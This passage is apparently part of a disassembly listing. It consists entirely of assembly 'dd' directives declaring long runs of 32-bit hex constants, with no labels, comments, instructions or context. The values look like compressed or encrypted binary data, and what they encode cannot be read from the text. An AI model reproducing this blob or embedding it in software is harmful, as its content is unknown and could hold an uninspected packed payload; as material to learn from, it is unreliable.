		dd 5BFD103Eh, 43B70892h, 38EF8100h, 9590AE60h, 0C15B325Dh
		dd 7964ED21h, 0E94441F8h, 5E37242Fh, 0CD54548h,	0D0572378h
		dd 31CE0EF6h, 6C7AFEEBh, 2CE87C86h, 0DD5E5576h,	0EC80B1C0h
		dd 0F5E6E060h, 0B88DE8D2h, 4B510076h, 1F29254Ch, 0B7E4312Dh
		dd 7BC02E1Dh, 0B63577C0h, 592AE90Ah, 2C017E98h,	318BAEB5h
		dd 0FBCA45CBh, 0A2D846F2h, 0BD3EF2C1h, 0BEB3AD6h, 8037CF75h
		dd 5354AE11h, 78F2B72Dh, 1C400883h, 0EA30E914h,	60B972C8h
		dd 6A7A3D22h, 4068A912h
		dd 52F8E333h, 42C15515h, 2364F040h, 8B03AE2Bh, 0B07A5AC2h
		dd 9C35E945h, 3A5E25EAh, 0EC2FCB51h, 4DB9A5B3h,	2C23A84h
		dd 0C6202D66h, 82AEB07Bh, 775C57CDh, 82CED970h,	8011AEFDh
		dd 9E02F119h, 4EE89031h, 0E11DEC89h, 66016008h,	9382DC53h
		dd 5AD565C4h, 0A05DE9AFh, 0B5559468h, 7489ED53h, 76E4FFA6h
		dd 1E5A8820h, 0D7285135h, 8F40FF7Eh, 7329149Eh,	2EA026E9h
		dd 257DCBCAh, 0AD0C58E1h, 9DF466EBh, 0F5259B5Ch, 0F329B5CFh
		dd 9936E904h, 13CBB900h, 2DF44309h, 5B001BB4h, 68514D04h
		dd 0E3565FEBh, 972112E4h, 0AB92BE5Dh, 6DFBB1EAh, 3B3488EFh
		dd 0AC5F9E38h, 77CCD906h, 0D213F27Dh, 810E476h,	12CDCAD4h
		dd 1B5FDEB5h, 2D5E214h,	29E133C2h, 658D943h, 0DF7DFAE9h
		dd 9793F302h, 0E1895E83h, 0A62566F2h, 4473276Ah, 8C2DC2FAh
		dd 50EB8001h, 9A9C5DDEh, 0D265025Fh, 999D21EBh,	9317389Dh
		dd 0D0CB85D2h, 27859EE1h, 0B1954E57h, 9F1309EBh, 0B20980DAh
		dd 7D0C5A2Eh, 8832CF0h,	9D21C04h, 80EA6B53h, 0E42BE1E3h
		dd 0BF050E0Eh, 2C482939h, 97020610h, 92A68D7Ch,	9A600102h
		dd 0A1D7CE2h, 0BC57AF10h, 0C9463C17h, 0E2DEE1EDh, 0CA341BDDh
		dd 25377E41h, 0FFE9F5F6h, 2D16FF47h, 0E91244EAh, 89D1FCE2h
		dd 1708502h, 0C1586AF8h, 0D6B57B20h, 819DBC0Dh,	1F31CFE2h
		dd 0B7E22DAh, 89C85218h, 56E41D6Dh, 39BEC2BAh, 23642994h
		dd 0C92C4E74h, 0A9127041h, 6602C0E2h, 0D6B15152h, 881CF760h
		dd 5AC3CA56h, 0E0CD4AA0h, 0ED7BBDE8h, 5D6C2289h, 0EC96255Bh
		dd 0F2048BC4h, 68304813h, 66B77B96h, 0A802302Dh, 202BC3FFh
		dd 935D763Dh, 7460BAC2h, 127936C4h, 38CE3104h, 3948F6D3h
		dd 0C4C25B97h, 83BE5C8Fh, 2124087Dh, 7EB26ED9h,	4F71AD8Dh
		dd 4A75B9DCh, 0F7422951h, 33CE09DDh, 94F0CCD2h,	7AEB6082h
		dd 680E001Dh, 25BC981h,	8C98438Bh, 5517A70Fh, 0E2F18F74h
		dd 5DD0FA89h, 6A540B58h, 0C5E878Bh, 0E173D9E3h,	786F5311h
		dd 0E1D69878h, 823BF520h, 130002EEh, 907FE0D0h,	4CA60CFAh
		dd 7B0C2B9Dh, 474EDAE2h, 8061AB5h, 5914820Ch, 0EA5F447Eh
		dd 0EA5A578Bh, 54264121h, 7EEC000h, 0AE4BD0F0h,	522292BAh
		dd 0B0F4D27Dh, 123A0BF4h, 467775F9h, 2BC58029h,	78A02D41h
		dd 0B07F35E0h, 73CA8080h, 1AEA0B76h, 0A25FD328h, 5D86836Ch
		dd 0BD2D519Ch, 0EFC0E402h, 7534EA10h, 0A7626A3Dh, 0FF162BE5h
		dd 0A4528105h, 0E5B6FFF7h, 5E25B14h, 5E3B09BEh,	0AACDABh
		dd 23292E2h, 68560605h,	3E4B3442h, 7F678457h, 0AB88612h
		dd 0A4B48A4Ah, 0BF7070EBh, 0D949F471h, 306248BAh, 3F64BE18h
		dd 950A155Eh, 5A1708EDh, 9AB97905h, 6F0D7B98h, 0C3CC4798h
		dd 50F84A83h, 0BFFC864Fh, 5A3B68E0h, 3D19F39Dh,	17163010h
		dd 2A1A3E9h, 0D39EF23Eh, 40C55504h, 0BD079A10h,	0F71DCF06h
		dd 569BD2CAh, 1F399357h, 52700E20h, 0A800A1Eh, 0FBC70106h
		dd 2E396A73h, 80FA1D4h,	0E1A8ECE9h, 24F08134h, 2AB431D4h
		dd 6C687F5Ah, 82820571h, 3A6E4ACh, 6BEFF028h, 0C601C772h
		dd 0AFC4A231h, 7672F189h, 626CAE4Bh, 80374BE9h,	0C0D9F6F1h
		dd 8005E101h, 0CC289CC1h, 82E8B36h, 771B0804h, 2D35BD01h
		dd 272B09C9h, 8509FBA4h, 0FC68F2A1h, 0C1A0D211h, 0FE3071B7h
		dd 0F6245BF8h, 303AED6h, 8621C680h, 954FF2C6h, 777F57C6h
		dd 0C8B5449Ah, 30172270h, 58D9284Eh, 6E5F1EE9h,	170CB0E4h
		dd 0AF038532h, 652FA744h, 359402EDh, 0B20F1A04h, 412EFD15h
		dd 0AB442B08h, 6CB89C45h, 0C03EB080h, 0E8E608E0h, 5CF1025Ah
		dd 8C2F8CF5h, 690B4834h, 0FC5E5CD7h, 2B638107h,	0FC521DE8h
		dd 52B401B9h, 82203660h, 41F9902Ah, 0DEA63BC4h,	28A49610h
		dd 0C4B8B86h, 68575601h, 4BFC70D6h, 0A9709F5Fh,	12307227h
		dd 0FA75725Ah, 647EB7EBh, 0F5210165h, 9D7BD555h, 0B705EC58h
		dd 5B82A0BDh, 58BB7F3Ah, 2D7EA231h, 1C7D7A8Eh, 8521277Ch
		dd 78F02D46h, 0C456719Dh, 0CBC18068h, 4003586Fh, 9A357705h
		dd 27EE207Bh, 0F7208198h, 0E70439B4h, 0E8803232h, 3C63034Ah
		dd 685285C1h, 426F0428h, 0A5AB19BBh, 3C03EB2h, 97E32864h
		dd 0F93C84F7h, 687620AEh, 95B47CB6h, 6C05A948h,	0A282DB38h
		dd 0E0A4414Fh, 0ED82D00h, 857AB2Dh, 893A077Fh, 10C46486h
		dd 90545152h, 0B8694BC7h, 64EE5BA8h, 8DB213ADh,	0E902E6CAh
		dd 0ACE269D4h, 9D4973D8h, 729D0BC4h, 0CC6EA028h, 4976B7AFh
		dd 9502F8A4h, 57471D2Fh, 801266Ah, 358D48E9h, 0DEB57F0Eh
		dd 1DCFA8E8h, 3D89F52Fh, 0F2E4EB16h, 76252FC5h,	3EE06908h
		dd 0E3EF135Eh, 5B58BFFAh, 21305797h, 0E9D7509Ah, 0C411FCD0h
		dd 51B02786h, 0FE958D58h, 5C7552D2h, 192C056Ah,	13B40443h
		dd 0C4B9FC79h, 0B7169817h, 103E4C72h, 0E85B88FAh, 0D0680B46h
		dd 0C98D3047h, 0AE415E42h, 0A1C20C35h, 0F71BC826h, 0A0C1B0D5h
		dd 3047F585h, 1907F4Ch,	2079FE22h, 0E9EFD11Fh, 0C5F4B757h
		dd 82991669h, 6347FF81h, 7F0B6D62h, 0ED0406CCh,	312744EAh
		dd 2DAC60EBh, 30507354h, 0F4EA5A6h, 64AF9D98h, 0EE2D1220h
		dd 662945B0h, 805918D8h, 45B27395h, 0CA2AE5Ah, 5ADA6B1h
		dd 8A7CA004h, 0A7128EEh, 54A964F1h, 0FD515A2Eh,	749BE08Bh
		dd 4C094F34h, 0BE040758h, 851981C9h, 3487BD80h,	2905244Eh
		dd 9108A0BAh, 0FDC00DA1h, 2776427Fh, 0F65CEB58h, 0FDDA3182h
		dd 0E13B6A04h, 0FED9D3D1h, 0A16A689h, 7F8A0818h, 0AE428276h
		dd 0C7C109B3h, 1EBE3326h, 9A8C5E5Dh, 9683D92Dh,	1C752F19h
		dd 0E60B7ECh, 0C7AA1B0Ah, 0D6D4E1ABh, 1D9CDD69h, 6840B690h
		dd 0D0CA02FEh, 35B151EAh, 9D1294C1h, 0C98F2806h, 0E81C36F2h
		dd 0B158CA1Bh, 5B026E3Ah, 19AD1CDFh, 0B4E68BE9h, 4878D856h
		dd 7401A695h, 252B0D7h,	0D952B9C3h, 325F31D3h, 0F2F8DD7Ch
		dd 0A0627620h, 8053659Ah, 0AF1C255Eh, 9A7D387Fh, 5F16CF8Dh
		dd 59954F58h, 0B6890B2Bh, 4EA9F0A3h, 8E560A43h,	0DCFEF64Fh
		dd 4E5F8E94h, 0EA8008EDh, 0AE1C40DBh, 6B6BA79Dh, 32262099h
		dd 805FA24Bh, 0CD307B65h, 60110C03h, 0F8775FC5h, 19F68007h
		dd 0CEC95171h, 2FA7920Ch, 58E6C113h, 309A611Dh,	4D2827B6h
		dd 0EE05D810h, 60356184h, 7C81A3A8h, 2E0DF5D9h,	0E9F420BFh
		dd 2B9A6632h, 0F1EE81EDh, 50415C38h, 0E1A6BC2Ah, 413FBEE9h
		dd 2A16CBCDh, 0E37482B2h, 41A61486h, 0D2D37Dh, 185CBA66h
		dd 31A6F8B7h, 140B0B63h, 0D5CA0161h, 0F109E9FCh, 885C3084h
		dd 1AADE2CFh, 574980ABh, 29A1D963h, 51873BC3h, 1F441076h
		dd 6E5312EFh, 0C5113705h, 5DCFC220h, 1F9CC57Fh,	0E7125468h
		dd 0E40555CFh, 703B99Bh, 4CF0083Bh, 20188CB7h, 43120AB3h
		dd 0FA4102Bh, 27494990h, 730003D1h, 1CBF7B7h, 0C2ADA1F2h
		dd 256F9D30h, 43706A70h, 2674CF09h, 0A068D661h,	5ADB9E08h
		dd 24457961h, 0DFBE555Ch, 18DBE8EEh, 0EA5B0C81h, 5A1D4160h
		dd 953C7E68h, 39DF2B92h, 8D2E56B6h, 55A480A6h, 81275747h
		dd 105F28E1h, 0D1F731FCh, 0E93C9810h, 0F1EE8178h, 19B21A53h
		dd 14C6EC3Ah, 1BD15DE8h, 2739A15h, 9BA9B8FCh, 0FD48249h
		dd 0C11F511Fh, 52E9CB82h, 804ED77Dh, 0AFD02EF5h, 0BF56E6E9h
		dd 6E867AE8h, 0F64C139Fh, 0FAEAB5C1h, 0B7CB9E7Dh, 0FFCB71D6h
		dd 4CC2EA48h, 439F8082h, 0AAB97D21h, 0A494D9D7h, 8DE712B7h
		dd 0D0F6D07Ah, 0D0986CFCh
		dd 58C53013h, 0BB5A25AAh, 0D530971Ah, 0F28105C0h, 5733DB0Bh
		dd 0BD1F05Dh, 0B361708h, 6504EFDCh, 0EBC1539Eh,	91818F4Ch
		dd 0DA2F3AC3h, 0A554AC1Eh, 16584267h, 1C8A445Eh, 0C1AFE899h
		dd 6A1F6853h, 40A1CA34h, 79D5A36h, 4024292Ch, 0B4E41A88h
		dd 0BF7E2DA1h, 0B816027Bh, 3A8C0D2Ah, 0DC57D4E1h, 72916E06h
		dd 0F485C602h, 0E19F60D3h, 0FE5F827Fh, 0F8E86521h, 8EEA979Eh
		dd 90512DD0h, 81503E68h, 4F5C605Eh, 0D7951170h,	5C4E5A9Ch
		dd 87A91044h, 0D81A7B1Eh, 0E55F0C4Bh, 6F0819EBh, 5084C2B9h
		dd 1E5BE0D1h, 268C964Bh, 77013ABh, 852CAE27h, 4C2904EBh
		dd 0A053F455h, 67128C4Bh, 0AC0A0AB9h, 0A42407F1h, 0F34E2E11h
		dd 93E340FBh, 0FDF316D6h, 0A7BF247Bh, 58C68B1Bh, 0E982EB77h
		dd 0A82A9896h, 97EFB73Ah, 9E539E4h, 23C9225Ch, 40FB6685h
		dd 779EDEEh, 0CC14801h,	57C540B2h, 0F140200h, 2063740h
		dd 0E986D3B5h, 81DA7519h, 0C318B40Fh, 0BDF76527h, 178DB2BFh
		dd 0E4805785h, 9F137268h, 0AAF19D18h, 3FEA7DC0h, 0C7113742h
		dd 6B695F0Ch, 6D90E15Dh, 2606175h, 0ABC35807h, 317BAF0h
		dd 915C9B24h, 66376801h, 0CD2F6BA4h, 25D87EE5h,	2489B529h
		dd 1C2DC845h, 0CD025FBFh, 0C0AC6AD1h, 79D44C4h,	0CE26F131h
		dd 7FDAB008h, 0D48082ADh, 685946C2h, 8D4A8BFh, 0F71E603Dh
		dd 0FF37F178h, 0FBF5060h, 16F3500Bh, 4212C7C0h,	549D0E6Dh
		dd 4016B014h, 384F86FBh, 2B3A04ABh, 7AF3E563h, 0FA52F063h
		dd 439149A4h, 7343EF2Ah, 0E1C0B374h, 0A260DF01h, 6177BE36h
		dd 60642E31h, 169D16AFh, 430549BDh, 0EF03904Ch,	1DD251B2h
		dd 18580E1h, 0C160AF04h, 0C53DC027h, 5E686726h,	2D5F728h
		dd 0CC7DDD90h, 20848482h, 55F61A0h, 2254502Dh, 29E80105h
		dd 157FA170h, 66890604h, 518DBD00h, 2932235Ch, 46C8AEEAh
		dd 0F1BB00A5h, 2D447C1Ah, 0FE2F3EBEh, 80D3F851h, 4E925B07h
		dd 0E93D8058h, 5CB7D6DEh, 577276h, 7D1D769Ch, 41659862h
		dd 52007FDFh, 46C33774h, 76819DF7h, 0F6B09486h,	0C2524857h
		dd 0BFE7122Eh, 4E0AE818h, 8290C9B8h, 58E0810h, 40F9684Eh
		dd 5BB1D8BBh, 74346648h, 8FAB674Bh, 7645F6Fh, 0FA0599C2h
		dd 20494100h, 6814D6C5h, 4FA119DBh, 6BACDBC4h, 0B34502E2h
		dd 0E90B3CA3h, 51E2C040h, 0F6F51688h, 0D94ABD5h, 49439700h
		dd 5B29732Dh, 202F29EFh, 4339E21Eh, 2FE916C8h, 0F5D1B3B0h
		dd 0CF6FA41h, 0B2C1592Ch, 0A45BA729h, 0A129A49h, 0F388D7F2h
		dd 4961C10h, 1C9DBA88h,	6A35F82Fh, 27BE06A2h, 82C9F65Eh
		dd 160BB8Bh, 28E8E954h,	1ABF0244h, 4179FB1Fh, 0FA2BC9EAh
		dd 48B41C21h, 20DD0101h, 1A9F0560h, 0C267561Ch,	1C7DD919h
		dd 0BE42B54Bh, 859DD5Ch, 0B080DE53h, 5BC8280Fh,	0FF1F859h
		dd 20923498h, 560458C1h, 0B0B23F52h, 0C280CA0Eh, 0CEEAC007h
		dd 125719DEh, 1FD9663Eh, 0C48CA4B4h, 0EC370611h, 0C0E30FCCh
		dd 0EC8708E4h, 5E205F9h, 0A7FE179Fh, 2E064C76h,	190556DAh
		dd 0C201F529h, 35252FF1h, 9803FB60h, 64A50763h,	378136CFh
		dd 6558E29Ah, 976F2D5h,	342F0B78h, 4881D07Ch, 99E0E1Eh
		dd 0CE908647h, 485B7D41h, 20052528h, 0FE102443h, 0AAAC43C5h
		dd 8F05F600h, 0F501E68Ch, 0A8E92Fh, 0CFDEBD00h,	221B5981h
		dd 0BE549A12h, 68172CF2h, 0AE196477h, 28A613B2h, 0EAD659BDh
		dd 93E10DAh, 5ACA60E9h,	3B850F38h, 0B166F7BFh, 0EE05177Eh
		dd 3E325D47h, 1840D4FEh, 43EC1C08h, 0C403634h, 0C2CDD4EFh
		dd 0D50BCBD3h, 957F8C05h, 7D38EB83h, 0C55E4489h, 0E14A9705h
		dd 0EAC45B3Bh, 1F6EC3FAh, 437C2A81h, 7A98E2D0h,	0E9354709h
		dd 88BFB921h, 0C5BFD637h, 0AC25BEFEh, 475FB789h, 0A8142766h
		dd 616AE939h, 0C786834h, 9753A23Bh, 0D1A638BEh,	0B9598597h
		dd 16646387h, 0F1699CFAh, 0F9119D04h, 0EE2114h,	7D39F63Ch
		dd 0E92525ECh, 0FF2F4261h, 0C63D2670h, 844EF2D0h, 0F43A6CE5h
		dd 1F0D68C4h, 446D5A2Fh, 0DD2B23F0h, 8F3F490Eh,	6120E352h
		dd 0BB949D69h, 0AB011B0h, 0D2277E25h, 0E90809F2h, 644B4AE3h
		dd 786A3FF0h, 4F0A6817h, 0FF0291F3h, 291EE83Ch,	74C1E642h
		dd 0EB37807Ah, 52A468F0h, 4E38F859h, 0DF67B805h, 0FE166F4Bh
		dd 0C7D57AD0h, 845C452Eh, 4C224B6h, 0BB921A8Ch,	2CAF1B75h
		dd 27B7B83Ch, 5A76FB2Dh, 92F2B51Bh, 0B48E970Fh,	5C4CA9A3h
		dd 844B8AA7h, 0FA3109C2h, 0AB010C04h, 0EBE24467h, 28B2555Ah
		dd 0DCCC61h, 0BD5FF929h, 0E1259E96h, 0D7F2924Ch, 42685D81h
		dd 0CC8C2F64h, 0D803131Eh, 752014Eh, 2A52D687h,	0E90CAFADh
		dd 0B1ED8333h, 0EBADF5Bh, 0C16209A9h, 0F9D530DAh, 0DCE989D8h
		dd 9BAA8C7Ch, 1729100Fh, 60C8AB3Bh, 0B819BF1Eh,	94605CA3h
		dd 4061528h, 0CB5FA6C3h, 27500103h, 0C13A470Bh,	468AA33h
		dd 2D0385C5h, 0AD617AF9h, 7BDAC700h, 7451141Eh,	2500BCE9h
		dd 828D46DDh, 97A9F7AFh, 2FCD77h, 3B7DB951h, 490927C0h
		dd 0BBDDCFE9h, 7006D22Ch, 0B6664A35h, 0B0586551h, 86A1ED04h
		dd 9F02560Bh, 0CB51277Fh, 43678880h, 12E2816Ch,	0EB01CFh
		dd 0C670EAE2h, 895FBDEDh, 0BA198BB9h, 0AF506ACCh, 77AB4254h
		dd 453A4FC0h, 892BC217h, 0ADD633F2h, 2640507h, 0A4ED180Fh
		dd 0B37A6DDFh, 6C4EF704h, 8EC021BDh, 12395F17h,	0EAFD013Dh
		dd 5540A38Dh, 0BD4362B6h, 51E6A90Bh, 5E0BD727h,	734D103h
		dd 0AF122644h, 9701F4E0h, 0F7E09559h, 1313900Bh, 34835CE9h
		dd 44EE042Dh, 0D65D0973h, 0F3090916h, 4E196F7h,	0BF1739CBh
		dd 0AC39E073h, 404ACF27h, 0B77C0846h, 7830039h,	0E7E8AFE5h
		dd 6394BB02h, 2F5D4F19h, 0C17BCBD5h, 3F255E6Bh,	9D25C7FCh
		dd 5F7C0C89h, 39B5CA81h, 0CA802F0Dh, 0C030064Fh, 498D329h
		dd 4E285141h, 6DE89771h, 61829314h, 6930E8EAh, 8A734FF7h
		dd 33F85F1Eh, 5292E9E3h, 64487848h, 15287C3Dh, 2F0D199h
		dd 86FA79C5h, 0B30D04Fh, 0C9E95755h, 0DFD3E4D8h, 64615EF0h
		dd 0AB5934ECh, 4026F9F8h, 1A01A464h, 9ED01DABh,	5BBAEE04h
		dd 0F9F01276h, 79689F31h, 0EF2D64A4h, 0F2B25A1Dh, 9D5E376h
		dd 13214C60h, 0FEB67753h, 75960660h, 0D0785FD5h, 90EABF0Ah
		dd 0F101C810h, 5B893031h, 70F46F29h, 0DE74BF43h, 0E5E7D7D2h
		dd 27AAD4A7h, 0BED36F55h, 0AFF32C40h, 0D304FD1Eh, 0E604AE0Ah
		dd 8DEEECB4h, 87C16A5Fh, 16BAE1C7h, 0B99F35B2h,	10444FFh
		dd 0AC6F38C2h, 30CA2901h, 5F166533h, 0C1377CCh,	70848FAh
		dd 83DC3803h, 592A38E7h, 6021B2D1h, 0FCE1122Eh,	9E98F60Bh
		dd 4B12F1h, 0A973FB51h,	0EA58C13Dh, 89462FBBh, 3546F78Fh
		dd 6669BBF8h, 8D597758h, 2F997C49h, 0D1145Fh, 21BB850h
		dd 0E70D4009h, 4F054D07h, 0D027D8F7h, 0BD6F5C60h, 3B24F64Bh
		dd 0DAE6A44h, 261B286Bh, 0BAD296E9h, 0AF09FA5h,	1667BB7h
		dd 5B4E59E2h, 9EF2D84Bh, 14DF5418h, 2856CB0Ch, 0BA11FCCh
		dd 43E2088Bh, 88010CF9h, 0C3045BD9h, 0E82CC8C0h, 58DCF559h
		dd 3EB12E68h, 0CDB46330h, 80E8E383h, 0D07601EBh, 66697997h
		dd 0CA582059h, 81E91670h, 0B82A23F1h, 52C7B160h, 5C3E1135h
		dd 5325C217h, 1401C30h,	0A050402h, 57B6E91Ah, 0A47E81C9h
		dd 659F5EFFh, 0D368848Fh, 89C2A61Bh, 8064E45Fh,	2C29D48Ah
		dd 8B7AEA07h, 1B75762Fh, 0AEEC9C7h, 1C209772h, 197C7E2Ch
		dd 0D3F75B04h, 0C327D6A8h
		dd 565F87E0h, 0C1BF5702h, 0E01F027Eh, 25A38793h, 85E8F548h
		dd 56958222h, 0A568C119h, 0C3DF2B4Bh, 49685105h, 0CB9F4412h
		dd 2F4A0964h, 8484F559h, 6FC3BD55h, 76BFB0BEh, 0AD3B2659h
		dd 0A5D02605h, 2D19E7FFh, 0DC5A9B75h, 0E81A05F2h, 4CC2E55Fh
		dd 0AC1C2F70h, 0B6805052h, 8CF68072h, 5AF42D88h, 0CA82A0F6h
		dd 574F17E9h, 9A42235Ch, 0EE3077B8h, 0C789B1CEh, 5FF950F8h
		dd 418EAD27h, 0CF972008h, 2976050Bh, 3084D83Ch,	7EE807E7h
		dd 4007B73Ah, 84BB5345h, 92872A0h, 455B58DDh, 0B36A7113h
		dd 0DB213E61h, 5B01E144h, 64F48002h, 0CAC3E8DFh, 58E63230h
		dd 0DC77F5C8h, 83020DFEh, 0EE8FBA9h, 0ECF642F2h, 98A57D4Ah
		dd 4B56ED6Fh, 0DA8CBEAh, 2160B0E9h, 44D7FE64h, 84CC5A9h
		dd 0DD352561h, 90B52E84h, 52F928FBh, 0FBB7530Ah, 0FE0EBDB6h
		dd 5AF1055Bh, 0C27D64EFh, 0F6209865h, 5BC94708h, 198CF94Ch
		dd 0BB864EE6h, 5A5EE83Ah, 0B3710FE8h, 0CC680130h, 7A7A79D4h
		dd 56F07445h, 0E9BF60AFh, 5D821753h, 0B1568D42h, 275A42h
		dd 0C3289CB0h, 89D48EB7h, 48638603h, 9AF30A9Dh,	8997B0Bh
		dd 7525A6BCh, 5C132ACDh, 7F52FB22h, 0C921328Ah,	0C7DD4F42h
		dd 8B011697h, 0CAFB4A1Ah, 0A21F5889h, 614A13C4h, 2779BFA0h
		dd 1DA0263Eh, 343364B5h, 5D3DE916h, 0BAD329BCh,	8958AE91h
		dd 79F66Bh, 2633F781h, 5F011827h, 0C520AAFEh, 97C747E9h
		dd 0C991935Dh, 85741D97h, 45509DEEh, 0E976528Eh, 198E8E5Bh
		dd 0ACBA2C4Ah, 24887340h, 2D83875Ch, 70092BF1h,	97367342h
		dd 3C89BE56h, 7666B17Bh, 0F2889362h, 4EAD2F68h,	4382D0F1h
		dd 750A764Ah, 6269743h,	5C02EC03h, 7F4EC948h, 0D69D5F44h
		dd 0B1929657h, 5046FC3Bh, 3722777Dh, 0DA8824D8h, 259928D4h
		dd 0F15C4E7Eh, 68C80FE0h, 8C125B46h, 3E41FB85h,	0B513CBF4h
		dd 615B2446h, 1DAE8C95h, 3B0E2C42h, 5FBD59BCh, 5B20058Bh
		dd 973EC07Dh, 0EFA597E7h, 2EB3A1F1h, 5FED945h, 53017AE7h
		dd 3E519E68h, 0A2720h, 0CF1AF7C3h, 56E3E902h, 68091D08h
		dd 1FF66A6Dh, 6424B60h,	0DA01290Ah, 82EA8126h, 6A5F155Ch
		dd 81353D4h, 47B34F01h,	54DA764Ch, 0BAADBE07h, 0D1019B59h
		dd 130D68EEh, 8EC43754h, 0E95380F5h, 0BE03D3C9h, 965558D7h
		dd 0CC453227h, 24A2E01h, 0E1404234h, 7A9676B8h,	4B681330h
		dd 21AC8C01h, 673A2802h, 0DD58D5E9h, 0D677C11Ah, 0B16ACDFh
		dd 0A88003EDh, 51B739E2h, 250EA3B8h, 744D04h, 2C05E52Dh
		dd 0E9570B78h, 0D1E73BF0h, 7F08A726h, 0FB78803h, 5A5DA430h
		dd 0D14F3B97h, 0AFC44465h, 2E29C312h, 129AAC00h, 0D4705B08h
		dd 5D080107h, 228F0BE9h, 4F8BD1C9h, 252B28D9h, 343909B2h
		dd 505ACA4Eh, 0CA5EB8B7h, 0AC523193h, 0F92A829Eh, 9C4599BDh
		dd 0BF3D80FCh, 0CB215AECh, 0AE98956h, 4EB9BB60h, 312C3A12h
		dd 52F037EFh, 0BF5006E9h, 0DAEE07EAh, 23B5A15Bh, 0B1CC1BF8h
		dd 51D3033Fh, 30E16E85h, 0BD1681F0h, 25433962h,	0B9030DE8h
		dd 6C0202C2h, 0F2617B5Bh, 80443C56h, 62B8EE81h,	0D0075D7Dh
		dd 0B2E63727h, 6DD35C28h, 9F71344h, 54568D2h, 0EB5280B1h
		dd 49B360B0h, 1224CD90h, 12A7FF97h, 0F7FF897Ah,	10803E29h
		dd 0A98639EAh, 46CE5777h, 2A6F0393h, 5B28EBE9h,	0A16D905Fh
		dd 604C8A67h, 0B7BD20FBh, 4F5F6D09h, 9C5BAEBFh,	965BA5CCh
		dd 5ADA942h, 9290005Dh,	9791352h, 732FF57Eh, 0B741E4FEh
		dd 0CF27746Ch, 77E2B2B5h, 0DC5D8562h, 7ABA569Ch, 0DC9D4A98h
		dd 0D9C83FFh, 8A056891h, 2DFD5451h, 6FB7D502h, 3DC0FDF5h
		dd 504949E9h, 0E12F19h,	104583E4h, 5B1A11Ch, 921F82Bh
		dd 0E120ACC7h, 0D235E8D9h, 391BCAECh, 14FED23h,	3A8E38CCh
		dd 0DD5890D5h, 4C745E5Eh, 0C33761B4h, 3D2CE50Fh, 0ABD06932h
		dd 0F051F096h, 6EDA3018h, 0BA26510Ch, 7729A127h, 0F0826016h
		dd 0BB00B576h, 616D60AAh, 0AEEB6EC1h, 0F0439E61h, 360C8207h
		dd 414D7340h, 4292233Fh, 0F6970141h, 9F1DF0F7h,	6C5C5524h
		dd 0A2CB014Dh, 0DD590802h, 5003BAA9h, 1E7A3A12h, 0A7054D3Ch
		dd 99C7575Fh, 12E751A7h, 947F21D2h, 685D003Bh, 0ED5F4A93h
		dd 4E249133h, 585B48FDh, 0EBE99608h, 72BBF45Eh,	0F1CAC7CEh
		dd 0C948FE5Dh, 556BBF7Ch, 0F92F3664h, 205A665Dh, 0D981DEFh
		dd 500C104Dh, 5B5ED8BEh, 33D6FED0h, 0EBEEC062h,	7FDB1183h
		dd 0CD0EA0C1h, 0B13B2A26h, 0F416B1Bh, 181706F2h, 0E9127A29h
		dd 59A78121h, 32AB2E29h, 448258CBh, 0D9D7F5D2h,	0BE5C6476h
		dd 0E9091A8Bh, 0AAB8DF5h, 0DA9D6578h, 0C30E347h, 481E1F4Dh
		dd 9DFD373h, 0ECB03AB8h, 20241DB1h, 0B3006202h,	0E97DBC70h
		dd 4B7F4B75h, 470777FAh, 1E816F39h, 735AC370h, 3D524B68h
		dd 49962B01h, 2E623275h, 2E300841h, 16B5BE9Fh, 25748A59h
		dd 26354551h, 145F5A80h, 21FE9F01h, 0BF574A54h,	0EE48799Eh
		dd 0C2A82024h, 0F50B69B0h, 0E1DC3589h, 0D3A92964h, 0D03FCC00h
		dd 384DE97Bh, 2BCD77C7h, 681AA760h, 5F5D66C5h, 0B8050BD0h
		dd 31120A1Eh, 8D39D1FFh, 0EA3B9758h, 907B49EDh,	0DFA2BF49h
		dd 9BABF212h, 75C109F7h, 6DC2C40h, 4D605B72h, 3BCC600Eh
		dd 9FE9734Eh, 0E780C001h, 1EFCC92h, 0C68306CFh,	4F4C7265h
		dd 279EED05h, 2FA8F62Dh, 68C12BF4h, 812823E3h, 0DA738EC0h
		dd 1F2FE951h, 0EACDDAA3h, 0E5599F36h, 7C41246Bh, 6B40112h
		dd 3A1B9779h, 841E9ACh,	955E0CA7h, 0CFFF5A97h, 5EE05CA9h
		dd 0B9616289h, 0F07B1AA7h, 0DCADF76Ah, 6A2C0B1Bh, 0D54970F4h
		dd 0D7D260B8h, 74E01ED2h, 987A7192h, 13914AC8h,	75B3BE1Fh
		dd 0D8393385h, 0CDF2B3B2h, 0B7D02A4Ch, 0B2AAE935h, 395DC956h
		dd 0CE226CE4h, 59A8E126h, 0BC352ABBh, 0B84F1CEDh, 716E4CCEh
		dd 38176110h, 20121C3Dh, 0CEFCC069h, 43276389h,	88687457h
		dd 0F4279FCAh, 923045DCh, 0F5C45DCBh, 8B607695h, 0B9F7AD9Dh
		dd 4386BFD1h, 0C11B2D68h, 9089EA27h, 957AB616h,	0E711857Fh
		dd 4ABB6982h, 16505666h, 25DFB8F8h, 7A475D5Eh, 719DB72Ah
		dd 0C23CC54Ah, 6076680Ch, 65D160D2h, 4DA7C1C0h,	4303272Ah
		dd 0EB7BE7C6h, 6D578E5Fh, 5FEA98BEh, 744FE970h,	0BB006DC9h
		dd 4CD17053h, 0B23A9745h, 0B23E5F18h, 38163688h, 0C1EA4750h
		dd 7F3544FCh, 0ED50759Ah, 80C08273h, 0B6017C15h, 0DA84B85Bh
		dd 937F69BDh, 0FE903265h, 0C527016Dh, 9284758h,	0F409834Fh
		dd 6EC07075h, 54015450h, 0AD8970E4h, 0F84FC4Ah,	5360CF81h
		dd 5DE942B3h, 8B90E25Ah, 7BFBD245h, 1DE4EBCh, 397D2D7Fh
		dd 0EBCF4047h, 6A2D558Fh, 0E7085D54h, 40F52808h, 0EC48086Bh
		dd 0E4C01792h, 0D9E4371Dh, 0FDDB5362h, 0F51F9ED9h, 8B39DFCFh
		dd 0A58B0254h, 0A583739Dh, 7E42A6F4h, 53715D37h, 4D396841h
		dd 29B1522Ch, 98F26BD7h, 7177E9C2h, 0D0B36068h,	80CBFE07h
		dd 0A8D531F3h, 0A86EEAA1h, 4B08B65Eh, 29CBFE68h, 64590500h
		dd 0D0296012h, 2A072D51h, 0E8759744h, 71E4BD03h, 79053A80h
		dd 0A2E7216h, 0EBF302A0h, 6B895901h, 0A07B85D0h, 0B1F95A01h
		dd 89B03AC0h, 0C8434A82h, 7C17AC3Bh, 0A3804677h, 0C1D40E3h
